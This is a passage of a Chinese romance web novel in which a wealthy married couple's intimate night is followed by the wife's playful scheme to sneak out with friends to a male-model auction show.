“不是说让我帮忙?” 江棠梨来不及多想,忙说不用,“我、我自己洗就可以了。” 这才多一会儿的功夫,就开始现出原形来了。 陆时聿嘴角隐笑:“可你不是喝醉了吗,我怕你站不稳。” 对哦,哪有喝醉的人还能自己洗澡的? 大脑空白了一下后,江棠梨眼皮一掀:“我才没有喝醉!” 低低的笑从门缝里传了进来。 把江棠梨笑得后颈一凉。 门由外向内被推开,吓得江棠梨慌忙用脚尖抵住。 “你干嘛!”她虽然慌,但反应很快:“臭流氓,不许偷看人洗澡!” 虽然识破了她是装醉,但让陆时聿不解的是,怎么又突然改变主意了。 “真不让我进去?” 然而回答他的却是门被反锁的声音。 一道锁,让江棠梨悬在心口的心脏缓缓落回了原位。 本来还想着在窗前满足他,然后第二天借着腿疼这招,让他不忍心跟她秋后算账,如今她突然有一种不好的预感。 哗哗水声里,江棠梨看着脚下的防滑地砖。 是装醉睡着地躺在这里呢,还是装作滑跌倒呢? 如果是前者,那她今晚演了这么久就等于白演了。 如果是后者,或许会让他一时心疼,但心疼过后呢? 不知是想得太久用脑过度,还是热气积聚太多,江棠梨只觉得眼前的画面在晃。 吓得她忙把花洒关了。 让她没想到的是,刚从浴室里出来就看见对面站着一人。 江棠梨愣了一下,还以为自己出现了幻觉。 等她晃了晃脑袋再看过,不仅人没消失,还走到了她面前。 江棠梨整个人怔住,一时之间不知该作何反应了。 倒是陆时聿,将手里的浴巾披在她身上。 “都跟你说了喝了酒不能洗澡了,就是不听。怎么样,是不是感觉头晕了?” 何止是头晕,膝盖都打软。 意识到这一点,江棠梨顺势往他怀里一抱。 陆时聿揉了揉她脑后勺,“去床上躺一会儿,我来洗澡。” 露在他肩膀外的两只眼睛,骨碌骨碌地转着。 所以他是要借着她的醉 喝了酒没红脸,脑海里的画面倒是让她脸烧出了热度。 可是脸上的烫却不及身体里的烧。 见她不说话却把脸一个劲地往他怀里钻,陆时聿轻笑一声:“要抱?” 不等她回答,陆时聿就将她竖抱了起来。 走到门口,陆时聿停了下脚:“低头。” 江棠梨搂住他脖子,肩膀一低,把脸贴在了他后颈处。 这种交颈的姿势让人心里暖暖的。 “老公,”她声音开始发甜发腻:“你身上好香。” 把她放到床上站着,陆时聿闻了闻自己的领口:“哪里香,全是你身上的酒味。” “你嫌弃我!” 看来又要借着那为数不多的酒精开始她的表演了。 陆时聿捏了捏她脸:“嫌不嫌弃你,你不知道?” 脸上的红本来就没消,被他这么一说,更是直烧耳朵尖。 也正是因为低着脸,刚好把自己眼底的羞全部送到了他眼里。 “是你自己愿意的!” “谁让你喜欢。” 被他撵着尾音回答,江棠梨只觉得羞到无地自容,推着他的肩膀:“走走走!” 等他一走,卫生间的门一关上,江棠梨就赤脚跳下了床。 女人总是有很强的第六感,一是天生,还有就是对那个人的了解。 果然,衣柜门一拉开,一半黑白,一半彩色。 而在那一半彩色下,一个个还没有拆的吊牌像是坠在夜空里的小星星。 但江棠梨却把手伸到了那排黑白色里。 陆时聿洗完澡出来的时候,休息间的床上是空的,但是衣柜的门却没有关。 看见两件衬衫之间空出一块。 不知怎的,突然就懂了她为什么到了家门口去却不愿下车的原因。 只是这迂回的心思,出乎了他的意料。 江棠梨穿着他的白衬衫,站在落地窗前,江棠梨穿着他的白衬衫,左脚站着,右脚惬意地勾着左脚的脚后跟。 整座城既睡又醒地浮在夜的底片上。 低头是流淌的霓虹,抬头能看见几架夜航的飞行器拖着星子掠过。 和她生活了二十多年的城市又像又不像。 映着五彩斑斓的玻璃上,一道人影缓缓走到她身后。 空旷的衬衫布料因他的两个指掌的轻拢而贴上她的皮肤。 “那么多的裙子不穿,怎么偏偏穿我的?” 她理由找得好:“吊牌都没剪。” 他回得也天衣无缝:“但是睡裙已经洗干净了。” 说完,他搂着她的腰把她身体转过来,只两步就把她逼退得无路可退。 后背能感觉到玻璃的冰凉,江棠梨抬头看他。 他眼里的情绪很直白,恨不得全部摊开让她看见。 但是拨开她耳边头发的动作却很轻,却也轻不过他揉着她细软耳垂的力度。 痒得她下意识就想往旁边躲,可惜还未能有动作,他的唇就压了下来。 开始还很有耐心,吻得不疾不徐,后面就有点凶了。 掌心的温度不受控地升高,连带着他的吻也滚烫起来。 暧昧的声音从唇齿间溢出来,听得人心脏发紧。 听到她嘤出的声,陆时聿才略微松开她。 不过一个吻,就让她她那双漆黑的瞳孔如浸在水中的黑珍珠,泛着湿漉漉的水痕。 被她这样一双眼看着,把他仅剩的一点理智都看没了。 他低下头,用牙齿衔开她的衬衫领口,滚烫的唇也随之落下。 灯光很亮,她皮肤很白,没有任何)) 遮掩,映在玻璃窗上,也映在他逐渐泛红的眼底。 不似以前,这次,江棠梨咬着唇,把所有的声音都吞下,唯恐被脚下的万千霓虹听见似的。 额头的汗顺着轮廓滴下来,砸在地上。 也砸在她的后背,和她沁出的薄汗相融着滚下。 他扳过她的脸,吻她。 在她嘴角拉出了长长的银丝都舍不得作罢。 最后咬在她肩膀。 即将五月的天,室内室外早已没了温差,可玻璃上却好像凝了水珠,留下一行行的指痕。 灯影错落,光影与人影交缠。 分不清是奖励还是惩罚。 但却应了他那句:不跪,就站着。 第59章 “陆时聿。” “陆时聿?” “陆时聿~” “陆时聿!” 她用各种各样的语气喊他,喊他一声,自己就会偷笑一声。 这才是她真正喝醉了的模样。 眼角眯着,笑意浅浅。 醉意朦胧的眼底,多了几分情事残留的媚,声音不算软,却很甜。 比装醉的时候要可爱得多。 见她不喊了了,陆时聿揉了揉她的脑袋:“胃里难不难受?” 二十分钟前,江棠梨趁着他去洗澡的功夫,开了一瓶烈酒,一块冰块不加,直接喝掉了三分之一。 江棠梨枕在他腿上,盯着他的眼睛,手指突然一指:“你是不是很爱我?” 陆时聿拨开她耳鬓的头发,一点都不藏着:“这不该是个疑问句,而是肯定句。” 可是她又突然皱眉,像是很不解:“可是先动心的人就输了。” 陆时聿低笑一声:“江棠梨,输给你,我甘之如饴。” 她又开始好奇:“那你不想知道我爱不爱你吗?” 想知道,不过她已经说过了。 在他从后面抱着她,咬住她肩膀的时候。 不似之前「江棠梨,说你爱我」。 这次,他问的是:江棠梨,你爱我吗? 当时的她和他一样,整个人都颤栗着。 让她的那句「我爱你」都抖出了迷人的音。 但是她现在醉了忘了,于是陆时聿又问了一遍:“江棠梨,你爱我吗?” 她眉眼弯弯,含羞带怯:“不告诉你~” 说完,她往他怀里一拱。 结果没两秒,她又往后退了几分,伸着胳臂:“抱抱~” 像个孩子似的。 陆时聿把她抱到了怀里:“饿不饿?” 她好像没听见,沉寂在自己的思绪里,眼睛里藏着两三分的狡黠:“我骗你的。” 他当然知道,可是他又装不知道。 “骗了我什么?” 可她都还没说,肩膀就先笑得抖了起来:“不告诉你~” 接着,她又开始喊他的名字:“陆时聿~陆时聿~” 喊了几遍之后,她把脸往他怀里埋。 被她藏着不说的三个字,被她去掉了一个字,然后悄咪咪地说出来。 “爱你~” 说一遍好像不够,她反反复复地说。 “爱你爱你爱你爱你~” 不加停顿地憋了好长一口气,说完,她就窝在他怀里透着乐。 见识过她的可爱,却没想到会可爱成这个样子。 能把人的心可爱化了。 陆时聿揉着她细软的肩膀,嘴角笑意深了又深,“这么爱我吗?” 她还是不理人,自顾自地说着自己的。 直到她又一次喊他的名字,“爱你——” 陆时聿捏着她的下巴把她的脸抬起来:“爱哪里?” 彼此对望的眼睛里,好像都藏着一把勾子,让他们彼此眼底都只能看见对方。 江棠梨缓缓抬起手,原本是想摸一摸他的眼睛,可是她眼里的影子好像在晃,晃得她指尖也偏离了两分,最后落在他的眼尾。 “眼睛?” 她点头的同时还不往轻轻“嗯”一声。 “还有呢?” 指尖从他的眼尾滑到他的嘴角,再轻轻点在他的下唇瓣上。 “嘴巴?” 她抿唇笑:“好软。” “还有呢?”他像是不满足:“还喜欢我哪里?” 她视线开始从他的嘴巴往下瞄,定格的时候,她突然偷笑一声。 陆时聿当然知道她在笑什么,但是他却故意。 “哪里,指给我看看。” 谁知她却直接掀开他的睡衣衣摆,把脑袋钻了进去。 滚烫的唇亲在他的腹上,又往上去亲他的胸口,最后她把脑袋从他的领口钻出来。 让人哭笑不得,却又被她那股不做作的可爱看得心脏软软的。 沐浴露混着她鼻息间的酒气一同扑过来。 味道有些奇怪,却又因为她娇憨的表情,让两者混合出一股浓浓的奶甜味,能把人甜化了。 可她却没有说具体哪里。 带着几分不依不饶的劲,陆时聿追着问:“所以喜欢哪里?” 她人和他肌肤相贴,掌心也压在他睡衣里,手指蜷起后,指尖不轻不重地戳了戳:“这里。” “腹肌?” 她点头,眼睛都快笑弯了,“嗯。” 陆时聿不喜欢揪着一件事来来回回地问,但有一件事除外。 “和你见过的那些腹肌比呢,谁的好看?” 如果江棠梨是清醒的,那她一定会毫不犹豫地回答说:“你。” 但是现在她醉了,脑袋里没有那么多的弯弯绕绕。 所以她想了好一会儿。 把陆时聿的眉心想皱了,眉眼也想沉了,声音更是冷了下来。 “江棠梨!” 浓重的警告声,让江棠梨猛地一抬头。 “到!” 哪里还能做出严肃的表情来。 陆时聿偏开脸笑了。 可是笑归笑,一想到她这么可爱的一面被别人看了去 嘴角的笑顿时就平了下去:“以后不许喝这么多的酒。” 谁知她又是皱眉又是噘嘴:“要喝要喝!” 清醒的话,或许还能跟她讲些道理,人都醉得没什么意识了,计较这些又有什么用。 然而想和说却不在一条直线上。 陆时聿故作严肃:“要喝可以,但是只能在我面前喝,能做到吗?” 她抢答似的一声“能”,像是能把冰川都融了。 陆时聿揉了揉她的脑袋:“困不困?” 她一边摇头,一边“嗯~”出第三声的音。 结果没两分钟的功夫,下巴就一点一点地磕在了他的心口上。 陆时聿解开拢在她身后的睡衣纽扣,轻轻一个翻身,带她滚到了床中央。 风樱树影的夜,不过两三个小时就被天边的灰白抢了个头绳。 临睡前,陆时聿把闹钟定在了七点四十。然而房间里的人却一觉睡到了十一点都没睁眼。最后还是被手机振动声吵醒的。 不等她撒出起床气,方以柠的惊喜声就先传了过来。 “我下飞机啦,宝贝!” 江棠梨大脑懵、意识散,“下什么飞机?” 方以柠嚷了句拜托:“之前不就跟你说我要来海市吗?” 江棠梨瞬间坐了起来:“你到海市了?” “对呀,刚下的飞机,要不要给你个机会来接我?” “那还用说吗,你等我啊!”手机一扔,她一连两个翻身下了床,结果双脚刚一沾地,膝盖就跪在了地上。 不是昨晚被某人折腾后的软,是酒精没发挥完全的晕。 但是人一晕就会四肢无力。 于是这两个原因就很容易被混淆。 江棠梨一边在心里骂着禽兽,一边撑着床沿站起身。 到了卫生间,又看见那条限量版的,只穿了半天就被撕坏的裙子。 心里更气了。 再一抬头,脖子上的两处吻痕清晰倒映在镜子里。 江棠梨顿时“啊”出一声尖叫:“陆时聿,你给我等着!” 可惜让陆时聿等来的只有爬满褶皱的床,和空无一人的房间。 一连两遍电话打过去都显示正在通话,陆时聿来到秘书办。 “看见太太了吗?” 张秘书谨记之前的教训:“太太半小时出去了,但是我问她去哪”前半句她回答得非常顺畅,但是后面就吞吐了。 陆时聿皱了下眉:“说。” “太、太太说,不、不要我管。” 陆时聿:“” 五分钟后,当电话接通,同样的四个字从话筒那边传来。 “不要你管!” 陆时聿一头雾水:“生气了?” 江棠梨坐在出租车里,偏着脸,眼看窗外:“给你一天时间好好反省自己做过的坏事!” 做过什么坏事不是重点。 重点是这一天的时间。 陆时聿问:“你在哪?” “说了不要你管!” “江棠梨,”陆时聿声音低出严肃:“我再问你一遍——” “你就是问我十遍,我也还是刚刚那句!” 陆时聿:“” 突然想起来她生气且有理的时候不吃硬。 “到底怎么了,”陆时聿声音软下来:“给我判刑也该有个判决的理由吧?” “要理由是吧,行。” 挂断电话,江棠梨把脖子上的犯罪事实拍下来发了过去。 「看见了吧?够不够判你十年八年的?」 也就十几秒的时间,江棠梨也收到了两张照片。 触目惊心的红。 比她脖子上的要深好几个色度。 下面还有一句话:「照你这么量刑,陆太太是不是要把牢底坐穿?」 江棠梨说不出话来了。 但是那位置,怎么看都不像是脖子。 江棠梨不想打字,直接拨了视频过去。 “哪呢,你给我看看。” 看出她是在车里,陆时聿问:“你先告诉你要去哪?” “机场。” 陆时聿眉心陡然一紧:“就因为这点小事,你就要回京市?” 江棠梨朝他翻了个白眼:“我至于为这点事回娘家吗?” 提在半空的心脏这才缓缓往下落,陆时聿放缓语调:“那你去机场做什么?” 手机举在面前,江棠梨却不看他:“接帅哥!” 真要是接帅哥就不会告诉他了。 陆时聿随便猜了猜:“方以柠来了?” 见她眼睛陡然睁圆着看过来,陆时聿心里了然。 “我和沧澜会那边说一声,中午你们就去那里吃吧。” 江棠梨撇嘴“嘁”了声:“我堂堂一个陆太太,去自己家的会所还需要你打招呼?” 看似讥讽的一句话,却让陆时聿听得满是愉悦。 不过既然她把陆太太的头衔搬出来了。 陆时聿索性把她往更高了架:“那陆太太作为东道主,可不能只带朋友吃个饭这么简单。” “上次那个店长的微信,你不是加了吗,跟他说一声,让他们做好接待。” “另外,如果她愿意,晚上可以带她来家里住,若她觉得不方便,也可以去翡盛酒店,当然,这种小事,不用陆太太出面,直接交代给陈秘书办就可以了。” 以为这样会让她消一消气,结果却见她眉梢一抬—— “陆总是在炫富吗?” 第60章 “陆总是在炫富吗?” 酒一醒,这张小嘴就开始不饶人了。 看着她那张素面朝天,一丝妆都没化的脸,陆时聿轻笑一声:“真要是炫富,就不会让陆太太坐出租车出门,而是直升机接送了。” 江棠梨只知他有商务机,“你还有直升机?” 虽然在商务机面前,直升机不值一提,但对江棠梨来说,直升机是更方便的出行方式。 “停哪呢?”江棠梨问。 “顶楼停机坪。” 江棠梨都想朝他翻白眼:“那你不早说!” 害她妆都没化就急急忙忙出来了。 “那你现在回来,我让人送你过去。” 江棠梨气笑一声:“我都快到了!” “那中午——” “你赶紧去忙你的吧,”江棠梨打断他:“吃什么住哪里你都别管,我会安排好的。” 她心里跟明镜似的,又是沧澜会,又是翡盛酒店,不就是想把她放眼皮子低下,好对她的行踪了如指掌吗? 她才不傻。 不给他再追问的机会,江棠梨还给他下了通牒:“今晚回去我可是要查你的工作完成量的,要是因为你的懈怠导致下周一不能准时走,”她哼了声:“你就等着吧!” 但她不知道的是,截止到昨天晚上九点,除了一个短差之外,需要陆时聿处理的工作已经全部完成。当然,未来几天,又或者出国一周需要他解决的,完全可以通过电话或者视频会议处理。 不过这些工作上的‘小事’,没必要打扰她和闺蜜的聚会。 “那你们好好玩,我下午出个差。” 指尖都要点到屏幕上的「挂断」了,江棠梨又动作一停。 “在哪?” “远吗?” “什么时候回来?” 一连三个问题,因为太过惊喜,让她来不及多想就脱口而出。 见视频里的人但笑不语,江棠梨才反应过来自己的粗心大意。 “我的意思是,是如果不是很远,晚上能回来就回来。” 陆时聿嘴角挂着浅笑:“我尽量。” 尽量? 是原本没打算回来,但因为她这句话所以争取回来? 一阵后悔里,江棠梨眉眼突然下弯:“但如果太晚的话就算了,毕竟安全第一。” 怂唧唧的心虚模样,陆时聿都不忍拆穿她。 “是在担心我吗?” “那当然了,我这辈子就你这么一个老公,你要是出点什么意外,那我后半辈子可怎么办!” 陆时聿:“” 真是越说越离谱了。 但是为了让他更加放心,江棠梨说:“既然你今天出差,那我就把以柠带回家住了。” 难道不想趁着他不在,和朋友彻底不归吗? 陆时聿点头:“好,如果——” 不等他说完,江棠梨又打断他:“算了不等晚上了,一会儿我接完她就带她回家,正好让她尝尝刘厨的手艺!” 这是陆时聿没想到的。 但是谁知道午饭后—— “晚上的话,我可以和她在一楼那个合院里烧烤吗?” 陆时聿虽有怔愣,但是很快点头:“当然。” 江棠梨对着屏幕一连“mua~”了两声:“老公拜拜。” 表情从他那句「我尽量」之后就开始一点一点地发生着变化,语气也是,说的话更是一字一句都想让他把心放在肚子里。 真会这么老实地待在家里? 陆时聿不知以前他那位老岳父能不能戳穿她这些小伎俩,但是在他这,实在是一眼看穿。 所以说,太了解一个人也不好,毕竟有时候,他也挺想自己被蒙在鼓里的。 刚锁屏的手机界面跳出一条微信消息,但更抓人眼球的却是锁屏界面的照片。 是江棠梨昨晚喝醉后的自拍。 嘴角扬成半圆的弧度,对着镜头闭着眼睛在笑,和她用作自己微信头像的那张照片很像,也曾是陆时聿在工作之余经常会看的一张照片。 是有点做作的笑,但却非常有感染力,会让人在看着的时候,嘴角也会不由自主地跟着扬起来。 陆时聿笑了笑。 女性朋友而已,还是她一起长大的闺蜜。 二十多天没见了,即便是玩得久一点,回家晚一点,也没什么。 但这只是他的想法,对于已经赶到机场的江棠梨来说,打的可不仅仅只是晚归的小算盘。 虽然都是朋友,但朋友和朋友是不一样的。 毕竟是经过无数次吵架绝交又和好的发小,所以在方以柠面前,江棠梨几乎是透明的,而她对江棠梨的了解,更是陆时聿不能比的。 “昨晚没回家?” 江棠梨吓了一跳:“你怎么知道?” 见她一双眼定在自己脸上,江棠梨嘻嘻笑:“这不是知道你来了,着急来接你吗?” “得了吧,我还不了解你?” 这家伙,如果不是身边没有化妆品,怎么可能素面朝天地来机场这样一个人多眼杂的地方。 但是她身上的半高领蕾丝长裙 一向不放过任何一场走秀的方以柠一眼就认出是G家的秋装走秀款。 目前只接受预约定制,却被她先一步穿在了身上。 外面三十多度的天,这可不是爱美。 方以柠随手似的拨开她颈边的头发:“一会儿我们——” 后面的话因为她脖子上露出的半片红痕而止住。 在方以柠的噗嗤一声笑里,江棠梨一秒捂住自己的脖子。 不过一个后退,她脸就红了大片:“你干嘛呀!” 方以柠送她一记会心又了然的笑:“多大点事。” 如果只是一处,那还真不算什么大事。 江棠梨又气又恼地把领口往下一拽:“你看!” 然后她又把脸往另一边偏:“还有这里!” 除了两处特别明显的之外,还有几片浅色稍浅一点的。 方以柠看得一愣一愣的:“你家那位是要给你吸出一串项链来吗?” 江棠梨嘴巴都快扁成小鸭子了:“都快把我气死了。” 但是方以柠更好奇的是:“你没还回去?” 江棠梨:“” 见她不说话还咬唇,方以柠“唏”她一声:“怕是你家那位比你身上的还多吧?” 江棠梨脚一跺:“你到底哪头的?” 方以柠惹毛她不嫌事大:“好歹人家也是我甲方,你说是不是?” 几个臭钱就把她收买了。 江棠梨抱着胳膊,一边往前走,一边斜睨着她:“你可别忘了,我那酒也快开业了,到时候工作服一类的” 以为会拿捏到她,结果却听她说—— “怎么,除了我,你还准备给别人做?” 江棠梨“哼”了声:“你要是再和我对着干——” “你说你,”方以柠打断她:“都结婚这么长时间了,怎么还没和你们家那位成为一条绳子上的蚂蚱。” “你说谁蚂蚱呢?”她不服气:“就算是一条绳子上的,那也该我是绳子,他是蚂蚱!” “是是是,你是绳子你是绳子,”方以柠压着嘴角的笑,搂上她肩膀:“那江绳子小姐,今天准备怎么款待我呀?” “那自然是”江棠梨一脸神秘:“殿堂级别的喽~” 于是,殿堂级别的第一步就把方以柠看笑了。 “坐出租车走啊?” 江棠梨把她推进车里:“惊喜在后面呢!” 五十分钟后,出租车在璞玺园大门口停下。 方以柠看着那只能容纳两辆车同时进出的简陋大门,手一指:“这就是你说的惊喜?” 方以柠朝门口的保安招了下手。 “陆太太。” “把后备箱里的行李拿出来送进去。” “好的。” 服务看着还不错。 或许是里面别有洞天。 毕竟在京市里也有一些高消场所隐于深巷之中。 这个想法在她穿过珐琅格栅装饰的廊道,看见那三颗泰山油松时,更加确定了。 方以柠用胳膊碰了她一下:“就刚刚那三颗油松,估计都能买辆车了。” 价格是其次。 江棠梨说:“晚上更漂亮。” “晚上?”方以柠看了她一眼:“你经常过来吗?” “也不能说经常。”也就天天吧。 不过她说一半留一半。 再经里弄间,方以柠往后看了眼:“怎么感觉跟咱们那儿的胡同似的。” 璞玺园的设计的确参考了京市“行列式”肌理巷道的理念。 到了入户门前,方以柠抬头丈量着面前这扇双甲门的高度。 没有三米,也有两米八。 但是让她更加惊喜的是玉石扣以黄铜门环的辅手。 “这个设计好诶。” 出于设计师的习惯,方以柠掏出手机拍了个照。 “这要是用作裙扣,应该很不错。” 但是当她看见江棠梨用人脸解锁的那一瞬,来自设计师的敏锐让她突然反应过来。 “这该不会是你家吧?” 江棠梨比她反应还大:“这都能猜到?” 方以柠气笑一声:“这就是你说的殿堂级的待遇啊?” 带她坐出租车又带她来家里吃饭。 江棠梨搂着她进门:“这才哪儿跟哪儿啊,前菜都算不上。” 一直到下午四点,江棠梨才把今晚的主菜‘端’到她面前。 听完,方以柠惊到捂嘴:“还有这种地方?” “我也是听别人说的,本来我是想一个人去探探虚实,谁知道你来得这么及时。” 方以柠在心里捋了捋她刚刚说的一整套计划。 “你确定他晚上不会回来?” 江棠梨摇头:“不确定。” 方以柠:“” “但我刚刚不是说了吗,反正那地方进去以后也要把手机锁起来,所以咱们就把手机放客厅,然后穿睡衣出门,到时候他电话找不到我,肯定会问李管家,李管家肯定会问门口的保安,你想想,手机搁家里,再加上咱们那一身睡衣,任谁也会觉得咱们走不远。” 方以柠觉得她想得太简单了。 “既然走不远,那怎么解释咱们消失的时间?” “就说出门遛弯了呗!” “溜几个小时啊?” “不行吗,咱们都这么久没见了,趁着遛弯多说些悄悄话怎么了?” 成功被她这天衣无缝的计划洗脑,方以柠也贡献一计:“晚上的时候,你多在那个管家面前扇扇风,只要他不怀疑你,说不定还会帮着说服你家那位。” 这种事,江棠梨向来手拿把掐。 傍晚,两人开始在合院里支烧烤架,李管家端水果进来的时候看见,惊呼一声:“太太,您别自己动手啊,刘厨马上就过来了。” “这你就不懂了吧李叔,”江棠梨手里动作没听:“烧烤就是要自己动手才有那感觉。” 李管家笑着在旁边给她打下手:“陆总要是也在就好了。” 江棠梨看了他一眼:“中午的时候听他说下午要出差,不知晚上几点能回来。” “今晚若是不回来”李管家想了想:“估计最迟也就明天上午。” 见她叹气,方以柠笑侃:“我不是在这陪你了吗,怎嘛,还嫌不够啊?” 江棠梨朝她笑:“幸好你在,不然晚上真要无聊了。” 风就这么地扇了起来。 江棠梨说:“等晚一点,我带你去附近逛逛。” 两人默契到连眼神交流都不用。 方以柠说:“那你可别开车,咱们就用走的,不然晚上吃这么多的肉,都要转化成脂肪了。” 李管家各看了两人一眼,最后看向江棠梨:“您可别太晚回来了,不然陆总又要担心了。” 方以柠顿时撇嘴:“你老公管你管这么严的吗?” 李管家忙解释:“不、不是,方小姐,您别误会我的意思——” 方以柠眼睛一弯:“我就随口一说,您别当真。” 倒是江棠梨,像是没听见似的:“李叔,你去看看刘厨那边准备的怎么样了。” 天色黑尽,已经七点过半。 廖妍也被江棠梨拉来入伙。 “衣服准备好了吗?” 昨晚,从管霏嘴里知道还有这么一个‘人间仙境’的地方,廖妍就有点跃跃欲试了,却没想到江棠梨比她动作还快。 “准备好了,放心吧,咱们三今晚绝对是全场最不起眼的存在!” “行,你先吃点饭垫垫肚子,别到时候流口水就丢人了。” “去你的!吃烧烤都不叫我,好意思!” “叫你来还怎么里应外合,成功度过今晚,以后你想什么时候来就什么时候来。” 电话挂断,余光一撇,瞧见方以柠那倒挂的嘴角。 江棠梨笑一声:“干嘛,吃醋啦?” “哼,”方以柠把脸一偏:“难怪我平时我不找你,你就不找我,原来是有了新欢。” “新欢什么呀,”江棠梨把通话名字给她看:“是廖妍,你不是见过吗,就我以前的大学同学。” 方以柠瞥她一眼:“上次不是说给我介绍什么男人的吗?” 江棠梨的本意自然是给她介绍男人,但这话从方以柠嘴里说出来,那就不一样了。 “怎么,你要来海市发展吗?” 方以柠埋着脑袋:“你走以后,我一个人都要闷死了,这段时间,我妈都开始给我找相亲对象了。” “找着了吗?” 见她不说话,江棠梨结了结舌:“你今天该不会是从相亲现场逃出来的吧?” 方以柠剜她一眼:“所以你问问你们家陆总,身边有没有什么靠谱的!” 江棠梨顿时想到一人,但是想到那风流的长相还有混不吝的语气,江棠梨立马将那个人从心里pass掉了。 听见一道喷嚏声传来,陆时聿皱了下眉:“感冒了?” “没有,楼昭吸了吸鼻子:“你给个痛快话,晚上到底能不能赶回来。” “能赶回去也不会去你刚刚说的地方。” 楼昭笑:“新店开张,你这个股东都不来捧场——” “我什么时候拿钱了?” 楼昭端的一脸无辜:“Lounge连续两个季度的利润啊!” 陆时聿冷笑一声:“于是你就拿着我的钱,去祸害小姑娘?” “瞧你说的,真要是小姑娘,可没那么大的胆子去咱们那店。” “那得是什么样的?” “最起码”楼昭想了想:“得是嫂子那种级别的。” 60-63 第61章 因他这句话,陆时聿眸光微顿,思绪短暂游走间,耳边传来一声催促—— “晚上到底能不能来?” 陆时聿看了眼时间:“不能。” “行,”楼昭也不逼他:“那我来问问嫂嫂——” “你敢!” 警告声明显的两个字,能让人后脊窜出凉意。 楼昭不踩他雷区了:“开个玩笑,至于吗?” 陆时聿可没功夫听他这种玩笑:“挂了。” 飞机已经在飞海市的途中,还有一个小时就会停落机场。这趟短差,陆时聿压根就没打算在外过夜。 点开微信,发现江棠梨八点四十又发了一条朋友圈,是一张烧烤架架满烤串的照片,在照片一角,能看见几罐酒水和饮料。酒水倒也算不上,都是没什么度数的鸡尾酒。 似乎没什么异常,可也不是那么正常。 因为从中午那通电话后到现在,一向极少在朋友圈活跃的人,像是住在了朋友圈。 一点二十,是一张她和方以柠在家里餐桌前的合影,两人脸贴脸背对餐桌,一桌的菜色充当她们的背景板。 三点五十,还是一张合影,是两人坐在泳池边的照片,没有露脸,但是两双脚入了镜头。 五点四十,是组装烧烤架的照片,照片里只有她一个人,埋着脸蹲在地上。 七点整,李管家和刘厨也入了镜,各在照片的左右两角,对着镜头比耶。 加上八点四十的那张,一共五条朋友圈。 平时一周发不到两条朋友圈的人,今天一个下午发了个五条。 「此地无银三百两」的小毛病,怎么都改不掉。 一声无奈的笑音里,陆时聿拨了电话过去。 虽然响到忙音都没人接,但却没有出乎他意料。 毕竟离八点四十已经过去了一个小时。 陆时聿又拨通了李管家的电话。 李管家一听他问太太,忙说:“太太正和朋友在院子里烧烤。” 陆时聿问:“你在旁边?” “那倒没有,但是院子里的音乐声,我这边能听见。” 所以是音乐声太大,没听见手机的震动? 陆时聿说:“你过去看看。” 李管家忙说好,继而又问他:“陆总,您晚上回来吗?” “已经在路上了。” “那就好,晚上说到您今天出差的时候,太太还有些失落。” 陆时聿无声弯了弯唇:“是吗。” 很快,话筒那边传来敲门声。 几段持续后,陆时聿问:“没人给你开门?” 里面没有人应,李管家也不好主动进去,他低头看向手里的白色手机,是太太的。 “但是太太的手机还在。” 这就让陆时聿略有不解了:“门都不给你开,你从哪看见的手机?” 李管家说:“在客厅的茶几上。” 那就是障眼法了。 “我知道了,你先回去吧。” 李管家哪里放心得下,“我到楼上看看,太太手机都在,肯定没有出门。” 陆时聿没有说话的同时,点开手机里的监控录像。 整个小区一共安装了39个摄像头,光是合围式围墙上就有22个。 陆时聿点开保安室门口的,六倍速的回放里,随着画面里出现的两个人影而被他点了暂停。 九点二十出的门。 随着画面放大,看见江棠梨身上穿着的家居室睡衣,陆时聿皱了下眉。 穿着随意、步行出门,看样子走不远。 “陆总,太太也不在楼上。” 陆时聿依旧不觉意外:“我知道了。” 可是李管家心里忐忑:“陆总,不然我问问——” 陆时聿打断他:“以后没有我的允许,太太的事不要惊动外人。” 李管家愣了一下后恍然:“好的陆总,但太太” “不用管她,她玩够了自然会回家。” * 十点整,当镁光灯如刀锋劈落,十二位肌肉美男带着独属于自己的荷尔蒙气息从黑暗向光里走来。 高出观众席半米的Y字型的T台瞬间化作成古铜色的河流。 那一块块绷紧到极致的肌肉,像被锻造过的钢铁,在强光下泛着釉质光泽。 江棠梨只觉得自己的心脏都随着那一块块鼓动的胸肌而起伏。 见过世面,却没见过这种世面。 江棠梨狠狠吞咽了一大口口水。 相比江棠梨藏在冷静下的惊心动魄,廖妍直接兴奋到尖叫。 “第二个,我要投第二个!” 江棠梨顺着她说的号码牌望去。 猿臂蜂腰,肌肉纵横贲张,一双长腿把工装裤撑得紧紧实实。 江棠梨嫌弃地直撇嘴:“太壮了一点都不好看!” 她喜欢内敛一点的,她手指过去:“你看六号!” 廖妍顺她手指的方向看过去。 六号的肌肉线条虽不夸张,却像被刀削斧凿过,随着步伐在皮肤下滚动,汗珠顺着沟壑滑进腰际,在皮裤边缘留下一道晶亮的痕迹。 廖妍“咦”出一声嫌弃:“还不如他后面那一个呢!” 江棠梨视线往后落了一格。 刚好对方转身,斜方肌隆起,脊椎沟深如峡谷。 江棠梨下巴直点:“这个也不错!” 方以柠勾头过来:“我感觉三号不错。” 江棠梨和廖妍又赶紧去找三号。 男模全身只裹了一条浴巾,头发上还在滴着小水珠,有种美人出水的诱惑。当然这不是重点,重点是,男人的胸肌随着呼吸起伏,汗珠顺着沟壑滑落,在腹肌的沟谷间折射碎光。浴巾边缘堪堪卡在髋骨,人鱼线向下延伸成致命的阴影。 江棠梨倒吸一口气:“这个好这个好,投这个!” 廖妍忙问:“投多少?” 江棠梨想都没想就伸出一根手指头。 “一万?” 江棠梨给了她一记白眼:“你是看不起人家还是看不起我呢?” 廖妍震惊:“你该不会要投100吧?” 江棠梨无语:“你当我的钱是大风刮来的?” 哦,那就是十万。 “行,那我也投十万。”说完,廖妍在进场前领取的操作器上按下编号以及金额。 方以柠嘴唇噘出一万分舍不得:“好贵哦~” 光是看几眼就十万,她上上周接了一个单子,熬了四五个大夜,也才挣了十万。 江棠梨轻轻碰了她一下:“看上了哪个,我给你投。” “又不能摸,”方以柠哼了声:“我才不花这冤枉钱。” “谁说不给摸的呀?” 方以柠嘴巴张了张:“可、可以摸吗?” “当然可以摸,”江棠梨往后瞥两眼后,掩手在她耳边:“不过要等结束之后。” 方以柠转了转眸子:“是包含在那两万块钱里吗?” “你想得美,那就是个入场券,”江棠梨举了举手里的操作器:“这个才是今天的主菜。” 廖妍也凑过来:“12个模特,12个包厢,价高者得。” 竟然还有包厢? 所以这些男人都是 方以柠一个眼神射到江棠梨脸上:“你这是婚内出轨你知道吗,要是被陆时聿知道,他还不把你给剥了!” 